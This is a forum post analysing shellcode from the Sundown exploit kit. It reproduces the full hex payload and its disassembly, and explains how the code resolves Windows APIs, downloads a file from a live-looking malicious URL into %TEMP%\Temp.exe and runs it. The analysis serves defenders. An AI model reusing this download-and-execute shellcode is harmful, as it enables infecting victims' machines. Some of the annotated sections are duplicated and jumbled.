- May 14, 2016
- 1,597
Thanks to @MBYX for the shellcode 
https://malwaretips.com/threads/a-look-at-sundown-exploit-kit.69871/
var _loc7_:String = "EB5031F6648B76308B760C8B761C8B6E088B368B5D3C8B5C1D7801EB8B4B1867E3EC8B7B2001EF8B7C8FFC01EF31C0990217C1CA04AE75F83B542404E0E475CE8B532401EA0FB7144A8B7B1C01EF032C97C3688E488B63E8A6FFFFFF66B86C6C50686F6E2E646875726C6D54FFD568832B76F6E88AFFFFFFE82D00000031DB535350E9CF010000585053FFD568E7C4CC69E86CFFFFFF504C4C4C4CFFD56877A6602AE85BFFFFFF50FFD564A1180000008B40308B40108B404883E802E9830000005EB90600000083C002668B1C08668B140E6639D375EB49E0F083C00831C983C10266833C080075F6EB665F57FC89C6F3A483C70289F85FE801000000C331C931D28A1C17881C084183C20280FB0075F149C604085C41C604085441C604086541C604086D41C604087041C604082E41C604086541C604087841C604086541C6040800C3E878FFFFFF54004D0050003D00E895FFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E82CFEFFFF687474703A2F2F6B6C682E79746C7A672E78797A2F652E7068700000009090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090"
The string in the var _loc_7 :
=> It is the shellcode
"E82CFEFFFF687474703A2F2F6B6C682E79746C7A672E78797A2F652E70687"
In red :
x00 => can be use to put the real part
x90 => nop : no operation.
All code disassembled :
I will show some important parts :
warning : the followings parts have to be read several times forward, backward, because it is hard to follow due to the numerous calls, jump, etc

"Shellcode cannot be executed directly. In order to analyze what a shellcode attempts to do it must be loaded into another process. One common analysis technique is to write a small C program which holds the shellcode as a byte buffer, and then use a function pointer or use inline assembler to transfer execution to it. Another technique is to use an online tool, such as shellcode_2_exe, to embed the shellcode into a pre-made executable husk which can then be analyzed in a standard debugger" from wikipedia
If you have not got knowledge about assembly, this tuto can be helpfull to follow my explanations :
Important :
.data:00000000 jmp 0x00000052
.data:00000057 call 0x00000002 => will find LoadLibraryExA address => in ebp register
.data:0000005c mov ax,0x6c6c
.data:00000060 push eax
.data:00000061 push 0x642e6e6f
.data:00000066 push 0x6d6c7275
.data:0000006b push esp => urlmon.dll
.data:0000006c call ebp => call LoadLibraryA from kernell32.dll (using address found above)
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
.data:0000006e push 0xf6762b83 => to get the address of URLDownloadToFileA (urlmon.dll)
.data:00000073 call 0x00000002 => will retrieve the address => ebp
.data:00000078 call 0x000000aa (look at the sub function)
The Sub function called (after URLDownloadToFileA has been retrieved, etc ...)
.data:000000aa mov eax,fs:0x18 => Linear address of Thread Environment Block (TEB)
.data:000000b0 mov eax,DWORD PTR [eax+0x30]
.data:000000b3 mov eax,DWORD PTR [eax+0x10]
.data:000000b6 mov eax,DWORD PTR [eax+0x48]
.data:000000c1 ANOTHER FUNCTION
.data:000000c1
.data:000000c1 pop esi
.data:000000c2 mov ecx,0x6
.data:000000c7 add eax,0x2
.data:000000ca mov bx,WORD PTR [eax+ecx*1]
.data:000000ce mov dx,WORD PTR [esi+ecx*1]
.data:000000d2 cmp bx,dx
.data:000000d5 jne 0x000000c2
.data:000000d7 dec ecx
.data:000000d8 loopne 0x000000ca
.data:000000dd xor ecx,ecx
.data:000000df add ecx,0x2
.data:000000e2 cmp WORD PTR [eax+ecx*1],0x0
.data:000000e7 jne 0x000000df
.data:000000e9 jmp 0x00000151
.data:000000ed cld => CLears the Direction flag (because of the rep below)
.data:000000ee mov esi,eax
.data:000000f0 rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
.data:000000f5 mov eax,edi
.data:000000f7 pop edi
.data:000000f8 call 0x000000fe
.data:000000fd ret
.data:00000143 ret
.data:00000144 call 0x000000c1
.data:00000149 push esp
.data:0000014a add BYTE PTR [ebp+0x0],cl
.data:0000014d push eax
.data:0000014e 00 3d 00e8 95 ff add BYTE PTR ds:0xff95e800,bh
We have seen previously that :
=> right location : .data:00000151 => e8 95 ff ff ff => a call to .data:0000000eb
https://malwaretips.com/threads/a-look-at-sundown-exploit-kit.69871/
var _loc7_:String = "EB5031F6648B76308B760C8B761C8B6E088B368B5D3C8B5C1D7801EB8B4B1867E3EC8B7B2001EF8B7C8FFC01EF31C0990217C1CA04AE75F83B542404E0E475CE8B532401EA0FB7144A8B7B1C01EF032C97C3688E488B63E8A6FFFFFF66B86C6C50686F6E2E646875726C6D54FFD568832B76F6E88AFFFFFFE82D00000031DB535350E9CF010000585053FFD568E7C4CC69E86CFFFFFF504C4C4C4CFFD56877A6602AE85BFFFFFF50FFD564A1180000008B40308B40108B404883E802E9830000005EB90600000083C002668B1C08668B140E6639D375EB49E0F083C00831C983C10266833C080075F6EB665F57FC89C6F3A483C70289F85FE801000000C331C931D28A1C17881C084183C20280FB0075F149C604085C41C604085441C604086541C604086D41C604087041C604082E41C604086541C604087841C604086541C6040800C3E878FFFFFF54004D0050003D00E895FFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E82CFEFFFF687474703A2F2F6B6C682E79746C7A672E78797A2F652E7068700000009090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090"
The string in the var _loc_7 :
=> It is the shellcode
=> can be disassembled (using the content)
=> often contains obfuscation parts to make it harder to be understood , when disassembled.
A quick Look here : between the numerous 000000... and 90909090...=> often contains obfuscation parts to make it harder to be understood , when disassembled.
"E82CFEFFFF687474703A2F2F6B6C682E79746C7A672E78797A2F652E70687"
In red :
h t t p : / / klh.ytlzg.xyz/e.php
x00 => can be use to put the real part
x90 => nop : no operation.
All code disassembled :
Code:
.data:00000000 eb 50 jmp 0x00000052
.data:00000002 31 f6 xor esi,esi
.data:00000004 64 8b 76 30 mov esi,DWORD PTR fs:[esi+0x30]
.data:00000008 8b 76 0c mov esi,DWORD PTR [esi+0xc]
.data:0000000b 8b 76 1c mov esi,DWORD PTR [esi+0x1c]
.data:0000000e 8b 6e 08 mov ebp,DWORD PTR [esi+0x8]
.data:00000011 8b 36 mov esi,DWORD PTR [esi]
.data:00000013 8b 5d 3c mov ebx,DWORD PTR [ebp+0x3c]
.data:00000016 8b 5c 1d 78 mov ebx,DWORD PTR [ebp+ebx*1+0x78]
.data:0000001a 01 eb add ebx,ebp
.data:0000001c 8b 4b 18 mov ecx,DWORD PTR [ebx+0x18]
.data:0000001f 67 e3 ec jcxz 0x0000000e
.data:00000022 8b 7b 20 mov edi,DWORD PTR [ebx+0x20]
.data:00000025 01 ef add edi,ebp
.data:00000027 8b 7c 8f fc mov edi,DWORD PTR [edi+ecx*4-0x4]
.data:0000002b 01 ef add edi,ebp
.data:0000002d 31 c0 xor eax,eax
.data:0000002f 99 cdq
.data:00000030 02 17 add dl,BYTE PTR [edi]
.data:00000032 c1 ca 04 ror edx,0x4
.data:00000035 ae scas al,BYTE PTR es:[edi]
.data:00000036 75 f8 jne 0x00000030
.data:00000038 3b 54 24 04 cmp edx,DWORD PTR [esp+0x4]
.data:0000003c e0 e4 loopne 0x00000022
.data:0000003e 75 ce jne 0x0000000e
.data:00000040 8b 53 24 mov edx,DWORD PTR [ebx+0x24]
.data:00000043 01 ea add edx,ebp
.data:00000045 0f b7 14 4a movzx edx,WORD PTR [edx+ecx*2]
.data:00000049 8b 7b 1c mov edi,DWORD PTR [ebx+0x1c]
.data:0000004c 01 ef add edi,ebp
.data:0000004e 03 2c 97 add ebp,DWORD PTR [edi+edx*4]
.data:00000051 c3 ret
.data:00000052 68 8e 48 8b 63 push 0x638b488e
.data:00000057 e8 a6 ff ff ff call 0x00000002
.data:0000005c 66 b8 6c 6c mov ax,0x6c6c
.data:00000060 50 push eax
.data:00000061 68 6f 6e 2e 64 push 0x642e6e6f
.data:00000066 68 75 72 6c 6d push 0x6d6c7275
.data:0000006b 54 push esp
.data:0000006c ff d5 call ebp
.data:0000006e 68 83 2b 76 f6 push 0xf6762b83
.data:00000073 e8 8a ff ff ff call 0x00000002
.data:00000078 e8 2d 00 00 00 call 0x000000aa
.data:0000007d 31 db xor ebx,ebx
.data:0000007f 53 push ebx
.data:00000080 53 push ebx
.data:00000081 50 push eax
.data:00000082 e9 cf 01 00 00 jmp 0x00000256
.data:00000087 58 pop eax
.data:00000088 50 push eax
.data:00000089 53 push ebx
.data:0000008a ff d5 call ebp
.data:0000008c 68 e7 c4 cc 69 push 0x69ccc4e7
.data:00000091 e8 6c ff ff ff call 0x00000002
.data:00000096 50 push eax
.data:00000097 4c dec esp
.data:00000098 4c dec esp
.data:00000099 4c dec esp
.data:0000009a 4c dec esp
.data:0000009b ff d5 call ebp
.data:0000009d 68 77 a6 60 2a push 0x2a60a677
.data:000000a2 e8 5b ff ff ff call 0x00000002
.data:000000a7 50 push eax
.data:000000a8 ff d5 call ebp
.data:000000aa 64 a1 18 00 00 00 mov eax,fs:0x18
.data:000000b0 8b 40 30 mov eax,DWORD PTR [eax+0x30]
.data:000000b3 8b 40 10 mov eax,DWORD PTR [eax+0x10]
.data:000000b6 8b 40 48 mov eax,DWORD PTR [eax+0x48]
.data:000000b9 83 e8 02 sub eax,0x2
.data:000000bc e9 83 00 00 00 jmp 0x00000144
.data:000000c1 5e pop esi
.data:000000c2 b9 06 00 00 00 mov ecx,0x6
.data:000000c7 83 c0 02 add eax,0x2
.data:000000ca 66 8b 1c 08 mov bx,WORD PTR [eax+ecx*1]
.data:000000ce 66 8b 14 0e mov dx,WORD PTR [esi+ecx*1]
.data:000000d2 66 39 d3 cmp bx,dx
.data:000000d5 75 eb jne 0x000000c2
.data:000000d7 49 dec ecx
.data:000000d8 e0 f0 loopne 0x000000ca
.data:000000da 83 c0 08 add eax,0x8
.data:000000dd 31 c9 xor ecx,ecx
.data:000000df 83 c1 02 add ecx,0x2
.data:000000e2 66 83 3c 08 00 cmp WORD PTR [eax+ecx*1],0x0
.data:000000e7 75 f6 jne 0x000000df
.data:000000e9 eb 66 jmp 0x00000151
.data:000000eb 5f pop edi
.data:000000ec 57 push edi
.data:000000ed fc cld
.data:000000ee 89 c6 mov esi,eax
.data:000000f0 f3 a4 rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
.data:000000f2 83 c7 02 add edi,0x2
.data:000000f5 89 f8 mov eax,edi
.data:000000f7 5f pop edi
.data:000000f8 e8 01 00 00 00 call 0x000000fe
.data:000000fd c3 ret
.data:000000fe 31 c9 xor ecx,ecx
.data:00000100 31 d2 xor edx,edx
.data:00000102 8a 1c 17 mov bl,BYTE PTR [edi+edx*1]
.data:00000105 88 1c 08 mov BYTE PTR [eax+ecx*1],bl
.data:00000108 41 inc ecx
.data:00000109 83 c2 02 add edx,0x2
.data:0000010c 80 fb 00 cmp bl,0x0
.data:0000010f 75 f1 jne 0x00000102
.data:00000111 49 dec ecx
.data:00000112 c6 04 08 5c mov BYTE PTR [eax+ecx*1],0x5c
.data:00000116 41 inc ecx
.data:00000117 c6 04 08 54 mov BYTE PTR [eax+ecx*1],0x54
.data:0000011b 41 inc ecx
.data:0000011c c6 04 08 65 mov BYTE PTR [eax+ecx*1],0x65
.data:00000120 41 inc ecx
.data:00000121 c6 04 08 6d mov BYTE PTR [eax+ecx*1],0x6d
.data:00000125 41 inc ecx
.data:00000126 c6 04 08 70 mov BYTE PTR [eax+ecx*1],0x70
.data:0000012a 41 inc ecx
.data:0000012b c6 04 08 2e mov BYTE PTR [eax+ecx*1],0x2e
.data:0000012f 41 inc ecx
.data:00000130 c6 04 08 65 mov BYTE PTR [eax+ecx*1],0x65
.data:00000134 41 inc ecx
.data:00000135 c6 04 08 78 mov BYTE PTR [eax+ecx*1],0x78
.data:00000139 41 inc ecx
.data:0000013a c6 04 08 65 mov BYTE PTR [eax+ecx*1],0x65
.data:0000013e 41 inc ecx
.data:0000013f c6 04 08 00 mov BYTE PTR [eax+ecx*1],0x0
.data:00000143 c3 ret
.data:00000144 e8 78 ff ff ff call 0x000000c1
.data:00000149 54 push esp
.data:0000014a 00 4d 00 add BYTE PTR [ebp+0x0],cl
.data:0000014d 50 push eax
.data:0000014e 00 3d 00 e8 95 ff add BYTE PTR ds:0xff95e800,bh
.data:00000154 ff (bad)
.data:00000155 ff 00 inc DWORD PTR [eax]
.data:00000157 00 00 add BYTE PTR [eax],al
.data:00000159 00 00 add BYTE PTR [eax],al
.data:0000015b 00 00 add BYTE PTR [eax],al
.data:0000015d 00 00 add BYTE PTR [eax],al
.data:0000015f 00 00 add BYTE PTR [eax],al
.data:00000161 00 00 add BYTE PTR [eax],al
.data:00000163 00 00 add BYTE PTR [eax],al
.data:00000165 00 00 add BYTE PTR [eax],al
.data:00000167 00 00 add BYTE PTR [eax],al
.data:00000169 00 00 add BYTE PTR [eax],al
.data:0000016b 00 00 add BYTE PTR [eax],al
.data:0000016d 00 00 add BYTE PTR [eax],al
.data:0000016f 00 00 add BYTE PTR [eax],al
.data:00000171 00 00 add BYTE PTR [eax],al
.data:00000173 00 00 add BYTE PTR [eax],al
.data:00000175 00 00 add BYTE PTR [eax],al
.data:00000177 00 00 add BYTE PTR [eax],al
.data:00000179 00 00 add BYTE PTR [eax],al
.data:0000017b 00 00 add BYTE PTR [eax],al
.data:0000017d 00 00 add BYTE PTR [eax],al
.data:0000017f 00 00 add BYTE PTR [eax],al
.data:00000181 00 00 add BYTE PTR [eax],al
.data:00000183 00 00 add BYTE PTR [eax],al
.data:00000185 00 00 add BYTE PTR [eax],al
.data:00000187 00 00 add BYTE PTR [eax],al
.data:00000189 00 00 add BYTE PTR [eax],al
.data:0000018b 00 00 add BYTE PTR [eax],al
.data:0000018d 00 00 add BYTE PTR [eax],al
.data:0000018f 00 00 add BYTE PTR [eax],al
.data:00000191 00 00 add BYTE PTR [eax],al
.data:00000193 00 00 add BYTE PTR [eax],al
.data:00000195 00 00 add BYTE PTR [eax],al
.data:00000197 00 00 add BYTE PTR [eax],al
.data:00000199 00 00 add BYTE PTR [eax],al
.data:0000019b 00 00 add BYTE PTR [eax],al
.data:0000019d 00 00 add BYTE PTR [eax],al
.data:0000019f 00 00 add BYTE PTR [eax],al
.data:000001a1 00 00 add BYTE PTR [eax],al
.data:000001a3 00 00 add BYTE PTR [eax],al
.data:000001a5 00 00 add BYTE PTR [eax],al
.data:000001a7 00 00 add BYTE PTR [eax],al
.data:000001a9 00 00 add BYTE PTR [eax],al
.data:000001ab 00 00 add BYTE PTR [eax],al
.data:000001ad 00 00 add BYTE PTR [eax],al
.data:000001af 00 00 add BYTE PTR [eax],al
.data:000001b1 00 00 add BYTE PTR [eax],al
.data:000001b3 00 00 add BYTE PTR [eax],al
.data:000001b5 00 00 add BYTE PTR [eax],al
.data:000001b7 00 00 add BYTE PTR [eax],al
.data:000001b9 00 00 add BYTE PTR [eax],al
.data:000001bb 00 00 add BYTE PTR [eax],al
.data:000001bd 00 00 add BYTE PTR [eax],al
.data:000001bf 00 00 add BYTE PTR [eax],al
.data:000001c1 00 00 add BYTE PTR [eax],al
.data:000001c3 00 00 add BYTE PTR [eax],al
.data:000001c5 00 00 add BYTE PTR [eax],al
.data:000001c7 00 00 add BYTE PTR [eax],al
.data:000001c9 00 00 add BYTE PTR [eax],al
.data:000001cb 00 00 add BYTE PTR [eax],al
.data:000001cd 00 00 add BYTE PTR [eax],al
.data:000001cf 00 00 add BYTE PTR [eax],al
.data:000001d1 00 00 add BYTE PTR [eax],al
.data:000001d3 00 00 add BYTE PTR [eax],al
.data:000001d5 00 00 add BYTE PTR [eax],al
.data:000001d7 00 00 add BYTE PTR [eax],al
.data:000001d9 00 00 add BYTE PTR [eax],al
.data:000001db 00 00 add BYTE PTR [eax],al
.data:000001dd 00 00 add BYTE PTR [eax],al
.data:000001df 00 00 add BYTE PTR [eax],al
.data:000001e1 00 00 add BYTE PTR [eax],al
.data:000001e3 00 00 add BYTE PTR [eax],al
.data:000001e5 00 00 add BYTE PTR [eax],al
.data:000001e7 00 00 add BYTE PTR [eax],al
.data:000001e9 00 00 add BYTE PTR [eax],al
.data:000001eb 00 00 add BYTE PTR [eax],al
.data:000001ed 00 00 add BYTE PTR [eax],al
.data:000001ef 00 00 add BYTE PTR [eax],al
.data:000001f1 00 00 add BYTE PTR [eax],al
.data:000001f3 00 00 add BYTE PTR [eax],al
.data:000001f5 00 00 add BYTE PTR [eax],al
.data:000001f7 00 00 add BYTE PTR [eax],al
.data:000001f9 00 00 add BYTE PTR [eax],al
.data:000001fb 00 00 add BYTE PTR [eax],al
.data:000001fd 00 00 add BYTE PTR [eax],al
.data:000001ff 00 00 add BYTE PTR [eax],al
.data:00000201 00 00 add BYTE PTR [eax],al
.data:00000203 00 00 add BYTE PTR [eax],al
.data:00000205 00 00 add BYTE PTR [eax],al
.data:00000207 00 00 add BYTE PTR [eax],al
.data:00000209 00 00 add BYTE PTR [eax],al
.data:0000020b 00 00 add BYTE PTR [eax],al
.data:0000020d 00 00 add BYTE PTR [eax],al
.data:0000020f 00 00 add BYTE PTR [eax],al
.data:00000211 00 00 add BYTE PTR [eax],al
.data:00000213 00 00 add BYTE PTR [eax],al
.data:00000215 00 00 add BYTE PTR [eax],al
.data:00000217 00 00 add BYTE PTR [eax],al
.data:00000219 00 00 add BYTE PTR [eax],al
.data:0000021b 00 00 add BYTE PTR [eax],al
.data:0000021d 00 00 add BYTE PTR [eax],al
.data:0000021f 00 00 add BYTE PTR [eax],al
.data:00000221 00 00 add BYTE PTR [eax],al
.data:00000223 00 00 add BYTE PTR [eax],al
.data:00000225 00 00 add BYTE PTR [eax],al
.data:00000227 00 00 add BYTE PTR [eax],al
.data:00000229 00 00 add BYTE PTR [eax],al
.data:0000022b 00 00 add BYTE PTR [eax],al
.data:0000022d 00 00 add BYTE PTR [eax],al
.data:0000022f 00 00 add BYTE PTR [eax],al
.data:00000231 00 00 add BYTE PTR [eax],al
.data:00000233 00 00 add BYTE PTR [eax],al
.data:00000235 00 00 add BYTE PTR [eax],al
.data:00000237 00 00 add BYTE PTR [eax],al
.data:00000239 00 00 add BYTE PTR [eax],al
.data:0000023b 00 00 add BYTE PTR [eax],al
.data:0000023d 00 00 add BYTE PTR [eax],al
.data:0000023f 00 00 add BYTE PTR [eax],al
.data:00000241 00 00 add BYTE PTR [eax],al
.data:00000243 00 00 add BYTE PTR [eax],al
.data:00000245 00 00 add BYTE PTR [eax],al
.data:00000247 00 00 add BYTE PTR [eax],al
.data:00000249 00 00 add BYTE PTR [eax],al
.data:0000024b 00 00 add BYTE PTR [eax],al
.data:0000024d 00 00 add BYTE PTR [eax],al
.data:0000024f 00 00 add BYTE PTR [eax],al
.data:00000251 00 00 add BYTE PTR [eax],al
.data:00000253 00 00 add BYTE PTR [eax],al
.data:00000255 00 e8 add al,ch
.data:00000257 2c fe sub al,0xfe
.data:00000259 ff (bad)
.data:0000025a ff 68 74 jmp FWORD PTR [eax+0x74]
.data:0000025d 74 70 je 0x000002cf
.data:0000025f 3a 2f cmp ch,BYTE PTR [edi]
.data:00000261 2f das
.data:00000262 6b 6c 68 2e 79 imul ebp,DWORD PTR [eax+ebp*2+0x2e],0x79
.data:00000267 74 6c je 0x000002d5
.data:00000269 7a 67 jp 0x000002d2
.data:0000026b 2e 78 79 cs js 0x000002e7
.data:0000026e 7a 2f jp 0x0000029f
.data:00000270 65 2e 70 68 gs cs jo 0x000002dc
.data:00000274 70 00 jo 0x00000276
.data:00000276 00 00 add BYTE PTR [eax],al
I will show some important parts :
warning : the followings parts have to be read several times forward, backward, because it is hard to follow due to the numerous calls, jump, etc
"Shellcode cannot be executed directly. In order to analyze what a shellcode attempts to do it must be loaded into another process. One common analysis technique is to write a small C program which holds the shellcode as a byte buffer, and then use a function pointer or use inline assembler to transfer execution to it. Another technique is to use an online tool, such as shellcode_2_exe, to embed the shellcode into a pre-made executable husk which can then be analyzed in a standard debugger" from wikipedia
If you have not got knowledge about assembly, this tuto can be helpfull to follow my explanations :
Important :
address01 call function => call a sub function : address02 is automatically saved on a stack in memory
address02 other instructions, or data (string, etc)
Most of the time, when the sub routine ends, it returns to the saved address (in the example, address02), to execute other codes.
But address02 can contain for example a string, and not codes that can be executed.
In this case, the return address02 will not be used to return.
This is a trick used several times on the code I analyze below.
=> used to retrieve the address of strings, or the address where to write data (that will be used to run the payload)
Another possibility : the return address contains obfuscated codes, and the sub function deobfuscate this part, and after : jump / return to it.
Let's go ! :address02 other instructions, or data (string, etc)
Most of the time, when the sub routine ends, it returns to the saved address (in the example, address02), to execute other codes.
But address02 can contain for example a string, and not codes that can be executed.
In this case, the return address02 will not be used to return.
This is a trick used several times on the code I analyze below.
=> used to retrieve the address of strings, or the address where to write data (that will be used to run the payload)
Another possibility : the return address contains obfuscated codes, and the sub function deobfuscate this part, and after : jump / return to it.
.data:00000000 jmp 0x00000052
.data:00000002 MAIN SUBFUNCTION => to get addresses of several functions
.data:00000051 ret
.data:00000051 ret
Will be called this way :
push value => linked to the function of a dll (obfuscation)
call MAIN SUBFUNCTION => to find the address of the function
call MAIN SUBFUNCTION => to find the address of the function
when it returns, ebp register has the right address
=> I analyzed this function in a separated post on this current thread
.data:00000052 push 0x638b488e => used to find the function : LoadLibraryExA.data:00000057 call 0x00000002 => will find LoadLibraryExA address => in ebp register
.data:0000005c mov ax,0x6c6c
Now the parameters to be used :
.data:00000060 push eax
.data:00000061 push 0x642e6e6f
.data:00000066 push 0x6d6c7275
.data:0000006b push esp => urlmon.dll
And now the call :
.data:0000006c call ebp => call LoadLibraryA from kernell32.dll (using address found above)
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
Another function search just after :
.data:0000006e push 0xf6762b83 => to get the address of URLDownloadToFileA (urlmon.dll)
.data:00000073 call 0x00000002 => will retrieve the address => ebp
HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
.data:00000078 call 0x000000aa (look at the sub function)
Returns to .data:0000007d once %TEMP%\Temp.exe has been written (using a part of the shellcode that was with at lot of 0 => overwrite a shellcode part)
On my PC :
.data:0000007f push ebx
.data:00000080 push ebx
.data:00000081 push eax
.data:00000082 jmp 0x00000256
Part reached when all is ready :=> "C:\Users\DardiM\AppData\Local\Temp\Temp.exe"
.data:0000007d xor ebx,ebx.data:0000007f push ebx
.data:00000080 push ebx
.data:00000081 push eax
.data:00000082 jmp 0x00000256
=> notice that this location, 000256, doesn't appear, due to obfuscation / shift :
.data:00000255 00 e8 add al,ch
.data:00000257 2c fe sub al,0xfe
.data:00000259 ff (bad)
.data:0000025a ff 68 74 jmp FWORD PTR [eax+0x74]
=> the code that must be disassembled : we must not take into account the 00
e8 2c fe ff ff => a call
68 74 , etc => url (see at the end)
.data:00000255 00 e8 add al,ch
=> right location : .data:00000256 => e8 2c fe ff ff
=> a call
=> the fake "return" address => the location of the url to be used (payload)
.data:00000257 2c fe sub al,0xfe
.data:00000259 ff (bad)
.data:0000025a ff 68 74 jmp FWORD PTR [eax+0x74]
.data:0000025d 74 70 je 0x000002cf
.data:0000025f 3a 2f cmp ch,BYTE PTR [edi]
.data:00000261 2f das
.data:00000262 6b 6c 68 2e 79 imul ebp,DWORD PTR [eax+ebp*2+0x2e],0x79
.data:00000267 74 6c je 0x000002d5
.data:00000269 7a 67 jp 0x000002d2
.data:0000026b 2e 78 79 cs js 0x000002e7
.data:0000026e 7a 2f jp 0x0000029f
.data:00000270 65 2e 70 68 gs cs jo 0x000002dc
.data:00000274 70 00 jo 0x00000276
.data:00000276 00 00 add BYTE PTR [eax],al
=> 68 74 74 70 .......... 68 70
=> no assembly code, but a url :
.data:00000257 2c fe sub al,0xfe
.data:00000259 ff (bad)
.data:0000025a ff 68 74 jmp FWORD PTR [eax+0x74]
=> the code that must be disassembled : we must not take into account the 00
e8 2c fe ff ff => a call
68 74 , etc => url (see at the end)
.data:00000255 00 e8 add al,ch
=> right location : .data:00000256 => e8 2c fe ff ff
=> a call
=> the fake "return" address => the location of the url to be used (payload)
.
.data:00000259 ff (bad)
.data:0000025a ff 68 74 jmp FWORD PTR [eax+0x74]
.data:0000025d 74 70 je 0x000002cf
.data:0000025f 3a 2f cmp ch,BYTE PTR [edi]
.data:00000261 2f das
.data:00000262 6b 6c 68 2e 79 imul ebp,DWORD PTR [eax+ebp*2+0x2e],0x79
.data:00000267 74 6c je 0x000002d5
.data:00000269 7a 67 jp 0x000002d2
.data:0000026b 2e 78 79 cs js 0x000002e7
.data:0000026e 7a 2f jp 0x0000029f
.data:00000270 65 2e 70 68 gs cs jo 0x000002dc
.data:00000274 70 00 jo 0x00000276
.data:00000276 00 00 add BYTE PTR [eax],al
=> 68 74 74 70 .......... 68 70
=> no assembly code, but a url :
hXXp://klh.ytlzg.xyz/e.php
.data:00000087 pop eax => url to be used
.data:00000088 push eax => url to be used, as parameter
.data:00000089 push ebx => 0
.data:00000091call 0x00000002
.data:00000097 dec esp
.data:00000098 dec esp
.data:00000099 dec esp
.data:0000009a dec esp
.data:0000009b call ebp
.data:000000a2 call 0x00000002
.data:000000a8 call ebp => calls NTDLL.RtlExitUserProcess
=> THE END !!!
.data:00000088 push eax => url to be used, as parameter
.data:00000089 push ebx => 0
remarks : file name : 0040119A (I explain it later)
.data:0000008a call ebp=> %TEMP%\Temp.exe
On my PC :
On my PC :
=> "C:\Users\DardiM\AppData\Local\Temp\Temp.exe"
=> here : calls the URLDownloadToFileA
.data:0000008c push 0x69ccc4e7
.data:00000091call 0x00000002
=> get Wow64DisableWow64FsRedirection address
=> Disables file system redirection for the calling thread
.data:00000096 push eax=> Disables file system redirection for the calling thread
.data:00000097 dec esp
.data:00000098 dec esp
.data:00000099 dec esp
.data:0000009a dec esp
.data:0000009b call ebp
=> call Kernell32.WinExec
.data:0000009d push 0x2a60a677=> runs : C:\Users\DardiM\AppData\Local\Temp\Temp.exe"
.data:000000a2 call 0x00000002
=> get NTDLL.RtlExitUserProcess address
.data:000000a7 push eax => 0
.data:000000a8 call ebp => calls NTDLL.RtlExitUserProcess
=> THE END !!!
.data:000000aa mov eax,fs:0x18 => Linear address of Thread Environment Block (TEB)
.data:000000b0 mov eax,DWORD PTR [eax+0x30]
.data:000000b3 mov eax,DWORD PTR [eax+0x10]
.data:000000b6 mov eax,DWORD PTR [eax+0x48]
=> pointer to ALLUSERPROFILE=C:\ProgramData ............etc
.data:000000b9 sub eax,0x2
=> pointer 2 bytes before : 001A (on my PC) => number of environnement values : 1A => 20 in decimal
.data:000000bc jmp 0x00000144
.data:000000c1 ANOTHER FUNCTION
=> at 0x00000144 :
.data:00000144 call 0x000000c1
.data:00000149 push esp
.data:0000014a add BYTE PTR [ebp+0x0],cl
.data:0000014d push eax
.data:0000014e 00 3d 00e8 95 ff add BYTE PTR ds:0xff95e800,bh
Explanation :
.
.data:0000014a add BYTE PTR [ebp+0x0],cl
.data:0000014d push eax
.data:0000014e 00 3d 00
Explanation :
.data:00000144 call 0x000000c1
=> true location :
=> the address of data after this call can now be retrieve by this subfunction
data after :
Then :data after :
"TMP ="
=> true location :
.data:00000151 => e8 95 ff ff ff
followed by :=> a call to .data:0000000eb
.data:00000156 00
00
00
00
...
...
00
00
00
00
...
...
00
=> this is where some data will be written !!!
.data:000000c1 pop esi
.data:000000c2 mov ecx,0x6
.data:000000c7 add eax,0x2
.data:000000ca mov bx,WORD PTR [eax+ecx*1]
.data:000000ce mov dx,WORD PTR [esi+ecx*1]
.data:000000d2 cmp bx,dx
.data:000000d5 jne 0x000000c2
.data:000000d7 dec ecx
.data:000000d8 loopne 0x000000ca
=> "C:\Users\DardiM\AppData\Local\Temp" found in environment values
.data:000000da add eax,0x8
.data:000000dd xor ecx,ecx
.data:000000df add ecx,0x2
.data:000000e2 cmp WORD PTR [eax+ecx*1],0x0
.data:000000e7 jne 0x000000df
.data:000000e9 jmp 0x00000151
=> obfuscated / shifted
=> go to 0x00000151 : and there, a call to go below : a trick to use the return address where some value will be written (to replace 000.....0000000.00000)
.data:000000eb pop edi=> go to 0x00000151 : and there, a call to go below : a trick to use the return address where some value will be written (to replace 000.....0000000.00000)
=> retrieves the return address (pointer on a lot of 0000000000 - see in below parts)
.data:000000ec push edi => put again the adress on the stack
